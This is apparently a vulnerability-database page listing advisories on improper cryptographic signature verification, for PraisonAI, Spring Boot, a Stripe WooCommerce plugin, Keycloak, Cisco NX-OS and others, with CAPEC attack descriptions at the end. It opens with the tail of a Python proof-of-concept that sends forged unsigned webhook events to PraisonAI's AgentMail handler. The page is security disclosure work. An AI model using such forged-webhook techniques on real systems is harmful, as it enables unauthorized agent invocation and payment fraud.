-\u003e None:\n bot._sent_messages.append(kwargs)\n\n bot.send_message = fake_send_message\n\n invalid_svix_headers = {\n \"svix-id\": \"msg_bad\",\n \"svix-timestamp\": \"1\",\n \"svix-signature\": \"v1,definitely-invalid\",\n }\n\n cases: dict[str, Any] = {}\n cases[\"forged_unsigned_message\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-unsigned\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Forged unsigned message\",\n \"extracted_text\": \"unsigned forged body\",\n },\n }\n ),\n )\n cases[\"forged_invalid_svix_signature\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-invalid-svix\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Forged invalid signature\",\n \"extracted_text\": \"invalid signature forged body\",\n },\n },\n headers=invalid_svix_headers,\n ),\n )\n cases[\"invalid_json_control\"] = await run_case(bot, FakeRequest(None, json_error=True))\n cases[\"non_message_event_control\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"domain.verified\",\n \"data\": {\n \"message_id\": \"msg-non-message\",\n \"from\": \"attacker@example.test\",\n \"extracted_text\": \"should not be processed\",\n },\n }\n ),\n )\n cases[\"duplicate_message_control\"] = await run_case(\n bot,\n FakeRequest(\n {\n \"type\": \"message.received\",\n \"data\": {\n \"message_id\": \"msg-forged-invalid-svix\",\n \"from\": \"attacker@example.test\",\n \"subject\": \"Duplicate\",\n \"extracted_text\": \"duplicate should not create a second call\",\n },\n },\n headers=invalid_svix_headers,\n ),\n )\n\n vulnerable = (\n cases[\"forged_unsigned_message\"][\"http_status\"] == 200\n and cases[\"forged_unsigned_message\"][\"session_delta\"] == 1\n and cases[\"forged_invalid_svix_signature\"][\"http_status\"] == 200\n and cases[\"forged_invalid_svix_signature\"][\"session_delta\"] == 1\n and cases[\"invalid_json_control\"][\"http_status\"] == 400\n and cases[\"invalid_json_control\"][\"session_delta\"] == 0\n and cases[\"non_message_event_control\"][\"session_delta\"] == 0\n and cases[\"duplicate_message_control\"][\"session_delta\"] == 0\n )\n\n return {\n \"label\": label,\n \"repo\": str(repo),\n \"vulnerable\": vulnerable,\n \"finding\": \"AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session\",\n \"cases\": cases,\n }\n\n\ndef main() -\u003e int:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--repo\", type=Path, required=True)\n parser.add_argument(\"--label\", default=\"current-head\")\n args = parser.parse_args()\n result = asyncio.run(main_async(args.repo.resolve(), args.label))\n print(json.dumps(result, indent=2, sort_keys=True))\n return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n raise SystemExit(main())\n```",
"id": "GHSA-7c92-x8vg-4258",
"modified": "2026-10-07T14:07:10Z",
"published": "2026-10-07T14:07:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7c92-x8vg-4258"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61436"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62172"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/praisonai-before-missing-webhook-signature-verification"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents"
}
GHSA-7CJ3-X93G-GJ76
Vulnerability from github – Published: 2024-08-23 09:30 – Updated: 2025-03-27 23:38Applications that use spring-boot-loader or spring-boot-loader-classic and contain custom code that performs signature verification of nested jar files may be vulnerable to signature forgery where content that appears to have been signed by one signer has, in fact, been signed by another.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.7.21"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.7.21"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader-classic"
},
"ranges": [
{
"events": [
{
"introduced": "2.7.0"
},
{
"fixed": "2.7.22"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.16"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.16"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader-classic"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.0.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.12"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.12"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader-classic"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.8"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.2.8"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader-classic"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.3.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.3.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.springframework.boot:spring-boot-loader-classic"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-38807"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-23T18:52:45Z",
"nvd_published_at": "2024-08-23T09:15:07Z",
"severity": "HIGH"
},
"details": "Applications that use spring-boot-loader\u00a0or spring-boot-loader-classic\u00a0and contain custom code that performs signature verification of nested jar files may be vulnerable to signature forgery where content that appears to have been signed by one signer has, in fact, been signed by another.",
"id": "GHSA-7cj3-x93g-gj76",
"modified": "2025-03-27T23:38:50Z",
"published": "2024-08-23T09:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38807"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-projects/spring-boot"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20250117-0006"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2024-38807"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Signature forgery in Spring Boot\u0027s Loader"
}
GHSA-7CXM-23JC-4X3X
Vulnerability from github – Published: 2026-09-19 09:32 – Updated: 2026-09-19 09:32The Payment Gateway of Stripe for WooCommerce plugin for WordPress is vulnerable to Improper Verification of Cryptographic Signature in all versions up to, and including, 5.0.8. This is due to the publicly accessible woocommerce_api_wt_stripe webhook endpoint (EH_Stripe_Webhook_Handler::handle()) wrapping the only call to \Stripe\Webhook::constructEvent() inside an if (!empty($endpoint_secret)) guard that is never entered on default installations — because the eh_stripe_webhook_secret option is empty after a fresh plugin install — causing the raw, attacker-controlled POST body to be decoded and processed as a fully trusted Stripe event without any signature verification, authentication, or authorization. This makes it possible for unauthenticated attackers to send forged Stripe webhook events to manipulate WooCommerce order statuses, including marking unpaid orders as paid or completed via payment_complete(), forcing legitimate orders into a failed state, fabricating dispute notifications, and injecting forged refund events. This vulnerability is only exploitable when the Stripe webhook signing secret has not been configured by an administrator; once a valid signing secret is saved, \Stripe\Webhook::constructEvent() is enforced and forged requests are rejected.
{
"affected": [],
"aliases": [
"CVE-2026-9832"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-19T08:16:55Z",
"severity": "MODERATE"
},
"details": "The Payment Gateway of Stripe for WooCommerce plugin for WordPress is vulnerable to Improper Verification of Cryptographic Signature in all versions up to, and including, 5.0.8. This is due to the publicly accessible `woocommerce_api_wt_stripe` webhook endpoint (`EH_Stripe_Webhook_Handler::handle()`) wrapping the only call to `\\Stripe\\Webhook::constructEvent()` inside an `if (!empty($endpoint_secret))` guard that is never entered on default installations \u2014 because the `eh_stripe_webhook_secret` option is empty after a fresh plugin install \u2014 causing the raw, attacker-controlled POST body to be decoded and processed as a fully trusted Stripe event without any signature verification, authentication, or authorization. This makes it possible for unauthenticated attackers to send forged Stripe webhook events to manipulate WooCommerce order statuses, including marking unpaid orders as paid or completed via `payment_complete()`, forcing legitimate orders into a failed state, fabricating dispute notifications, and injecting forged refund events. This vulnerability is only exploitable when the Stripe webhook signing secret has not been configured by an administrator; once a valid signing secret is saved, `\\Stripe\\Webhook::constructEvent()` is enforced and forged requests are rejected.",
"id": "GHSA-7cxm-23jc-4x3x",
"modified": "2026-09-19T09:32:12Z",
"published": "2026-09-19T09:32:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9832"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.7/includes/class-eh-stripe-webhook-handler.php#L18"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.7/includes/class-eh-stripe-webhook-handler.php#L321"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.7/includes/class-eh-stripe-webhook-handler.php#L66"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.7/includes/class-eh-stripe-webhook-handler.php#L93"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.8/includes/class-eh-stripe-webhook-handler.php#L18"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.8/includes/class-eh-stripe-webhook-handler.php#L321"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.8/includes/class-eh-stripe-webhook-handler.php#L66"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/payment-gateway-stripe-and-woocommerce-integration/tags/5.0.8/includes/class-eh-stripe-webhook-handler.php#L93"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3575195%40payment-gateway-stripe-and-woocommerce-integration\u0026new=3575195%40payment-gateway-stripe-and-woocommerce-integration"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/2cef154c-efb8-4455-9be6-e3cf8b95e9d3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7F3F-WQ83-6Q76
Vulnerability from github – Published: 2026-04-14 09:30 – Updated: 2026-04-14 09:30A vulnerability has been identified in SINEC NMS (All versions < V4.0 SP3 with UMC). The affected application contains an authentication weakness due to insufficient validation of user identity in the UMC component. This could allow an unauthenticated remote attacker to bypass authentication and gain unauthorized access to the application. (ZDI-CAN-27564)
{
"affected": [],
"aliases": [
"CVE-2026-24032"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-14T09:16:34Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SINEC NMS (All versions \u003c V4.0 SP3 with UMC). The affected application contains an authentication weakness due to insufficient validation of user identity in the UMC component.\nThis could allow an unauthenticated remote attacker to bypass authentication and gain unauthorized access to the application. (ZDI-CAN-27564)",
"id": "GHSA-7f3f-wq83-6q76",
"modified": "2026-04-14T09:30:44Z",
"published": "2026-04-14T09:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24032"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-801704.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7F4H-6264-89FR
Vulnerability from github – Published: 2026-05-06 23:14 – Updated: 2026-05-06 23:14Summary
The AxonFlow SDK's WebhookSubscription (or equivalent) type did not expose the HMAC-SHA256 signing key returned by the platform's CreateWebhook endpoint. Without access to the secret through the typed SDK API, callers had no path to verify the X-AxonFlow-Signature header on incoming webhook deliveries. Affected callers had two unsatisfactory options:
- Skip signature verification entirely — accepting any payload from any source that knew the webhook URL.
- Hand-parse the raw HTTP JSON response to extract the secret, bypassing the type-safe SDK surface.
This advisory is filed across all four AxonFlow SDKs (Go, Python, TypeScript, Java) because the same defect and the same fix landed in each.
Affected versions
Versions 6.6.2 and below.
Impact
A webhook receiver using the SDK's typed API to handle inbound deliveries had no path to authenticate the source of incoming payloads. An attacker who learned the webhook URL — through misconfiguration, log leakage, observable network traffic during setup, or any other discovery channel — could forge webhook deliveries indistinguishable from legitimate ones, causing the receiving application to act on fabricated events (e.g. simulated approval-granted callbacks, simulated policy-decision callbacks, simulated step-completion callbacks).
Remediation
Upgrade to the patched version listed in Vulnerabilities below. The signing key is now exposed on the WebhookSubscription response type returned by CreateWebhook. Implementations should:
- Persist the secret returned by
CreateWebhooksecurely (it is only returned once, at create time). - On each incoming webhook delivery, compute
HMAC-SHA256(secret, raw_body)and compare it in constant time against theX-AxonFlow-Signatureheader. - Reject any delivery whose signature does not match.
Credit
Identified by AxonFlow internal security review during the April 2026 quality-freeze epic.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "axonflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:14:43Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe AxonFlow SDK\u0027s `WebhookSubscription` (or equivalent) type did not expose the HMAC-SHA256 signing key returned by the platform\u0027s `CreateWebhook` endpoint. Without access to the secret through the typed SDK API, callers had no path to verify the `X-AxonFlow-Signature` header on incoming webhook deliveries. Affected callers had two unsatisfactory options:\n\n1. Skip signature verification entirely \u2014 accepting any payload from any source that knew the webhook URL.\n2. Hand-parse the raw HTTP JSON response to extract the secret, bypassing the type-safe SDK surface.\n\nThis advisory is filed across all four AxonFlow SDKs (Go, Python, TypeScript, Java) because the same defect and the same fix landed in each.\n\n## Affected versions\n\nVersions 6.6.2 and below.\n\n## Impact\n\nA webhook receiver using the SDK\u0027s typed API to handle inbound deliveries had no path to authenticate the source of incoming payloads. An attacker who learned the webhook URL \u2014 through misconfiguration, log leakage, observable network traffic during setup, or any other discovery channel \u2014 could forge webhook deliveries indistinguishable from legitimate ones, causing the receiving application to act on fabricated events (e.g. simulated approval-granted callbacks, simulated policy-decision callbacks, simulated step-completion callbacks).\n\n## Remediation\n\nUpgrade to the patched version listed in Vulnerabilities below. The signing key is now exposed on the `WebhookSubscription` response type returned by `CreateWebhook`. Implementations should:\n\n1. Persist the secret returned by `CreateWebhook` securely (it is only returned once, at create time).\n2. On each incoming webhook delivery, compute `HMAC-SHA256(secret, raw_body)` and compare it in constant time against the `X-AxonFlow-Signature` header.\n3. Reject any delivery whose signature does not match.\n\n## Credit\n\nIdentified by AxonFlow internal security review during the April 2026 quality-freeze epic.",
"id": "GHSA-7f4h-6264-89fr",
"modified": "2026-05-06T23:14:43Z",
"published": "2026-05-06T23:14:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getaxonflow/axonflow-sdk-python/security/advisories/GHSA-7f4h-6264-89fr"
},
{
"type": "PACKAGE",
"url": "https://github.com/getaxonflow/axonflow-sdk-python"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "axonflow-sdk-python: Webhook signing-key (HMAC-SHA256) not exposed by SDK type, preventing signature verification"
}
GHSA-7FPJ-9HR8-28VH
Vulnerability from github – Published: 2024-04-17 18:25 – Updated: 2024-11-18 17:28Keycloak was found to not properly enforce token types when validating signatures locally. An authenticated attacker could use this flaw to exchange a logout token for an access token and possibly gain access to data outside of enforced permissions.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "22.0.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "23.0.0"
},
{
"fixed": "24.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-0657"
],
"database_specific": {
"cwe_ids": [
"CWE-273",
"CWE-284",
"CWE-287",
"CWE-290",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-17T18:25:59Z",
"nvd_published_at": "2024-11-17T11:15:05Z",
"severity": "LOW"
},
"details": "Keycloak was found to not properly enforce token types when validating signatures locally. An authenticated attacker could use this flaw to exchange a logout token for an access token and possibly gain access to data outside of enforced permissions.\n\n",
"id": "GHSA-7fpj-9hr8-28vh",
"modified": "2024-11-18T17:28:39Z",
"published": "2024-04-17T18:25:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/security/advisories/GHSA-7fpj-9hr8-28vh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0657"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1867"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:1868"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2023-0657"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2166728"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Keycloak vulnerable to impersonation via logout token exchange"
}
GHSA-7G2H-2MGX-VHPC
Vulnerability from github – Published: 2024-12-03 12:31 – Updated: 2024-12-03 12:31Dell NetWorker Management Console, version(s) 19.11, contain(s) an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Code execution.
{
"affected": [],
"aliases": [
"CVE-2024-47476"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-03T10:15:05Z",
"severity": "HIGH"
},
"details": "Dell NetWorker Management Console, version(s) 19.11, contain(s) an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Code execution.",
"id": "GHSA-7g2h-2mgx-vhpc",
"modified": "2024-12-03T12:31:11Z",
"published": "2024-12-03T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47476"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000255884/dsa-2024-477-security-update-for-dell-networker-runtime-environment-nre-multiple-component-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7G3P-MPGP-Q5C5
Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2023-03-24 18:30A vulnerability in the Image Signature Verification feature of Cisco NX-OS Software could allow an authenticated, local attacker with administrator-level credentials to install a malicious software patch on an affected device. The vulnerability is due to improper verification of digital signatures for patch images. An attacker could exploit this vulnerability by crafting an unsigned software patch to bypass signature checks and loading it on an affected device. A successful exploit could allow the attacker to boot a malicious software patch image.
{
"affected": [],
"aliases": [
"CVE-2019-1809"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-15T23:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Image Signature Verification feature of Cisco NX-OS Software could allow an authenticated, local attacker with administrator-level credentials to install a malicious software patch on an affected device. The vulnerability is due to improper verification of digital signatures for patch images. An attacker could exploit this vulnerability by crafting an unsigned software patch to bypass signature checks and loading it on an affected device. A successful exploit could allow the attacker to boot a malicious software patch image.",
"id": "GHSA-7g3p-mpgp-q5c5",
"modified": "2023-03-24T18:30:22Z",
"published": "2022-05-24T16:45:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1809"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-nxos-psvb"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/108375"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7G5X-9C4V-4W5R
Vulnerability from github – Published: 2026-02-27 09:30 – Updated: 2026-02-28 02:44A flaw was found in Keycloak’s WebAuthn registration component. This vulnerability allows an attacker to bypass the configured attestation policy and register untrusted or forged authenticators via submission of an attestation object with fmt: "none", even when the realm is configured to require direct attestation. This can lead to weakened authentication integrity and unauthorized authenticator registration.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.keycloak:keycloak-services"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "26.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-12150"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:44:46Z",
"nvd_published_at": "2026-02-27T09:16:15Z",
"severity": "LOW"
},
"details": "A flaw was found in Keycloak\u2019s WebAuthn registration component. This vulnerability allows an attacker to bypass the configured attestation policy and register untrusted or forged authenticators via submission of an attestation object with fmt: \"none\", even when the realm is configured to require direct attestation. This can lead to weakened authentication integrity and unauthorized authenticator registration.",
"id": "GHSA-7g5x-9c4v-4w5r",
"modified": "2026-02-28T02:44:46Z",
"published": "2026-02-27T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12150"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/35110"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/issues/43723"
},
{
"type": "WEB",
"url": "https://github.com/keycloak/keycloak/commit/4136a677e7e24f6685ed25567e191e1003200339"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:21370"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:21371"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:22088"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:22089"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2025-12150"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2406192"
},
{
"type": "PACKAGE",
"url": "https://github.com/keycloak/keycloak"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Keycloak REST Services has a WebAuthn Attestation Statement Verification Bypass"
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.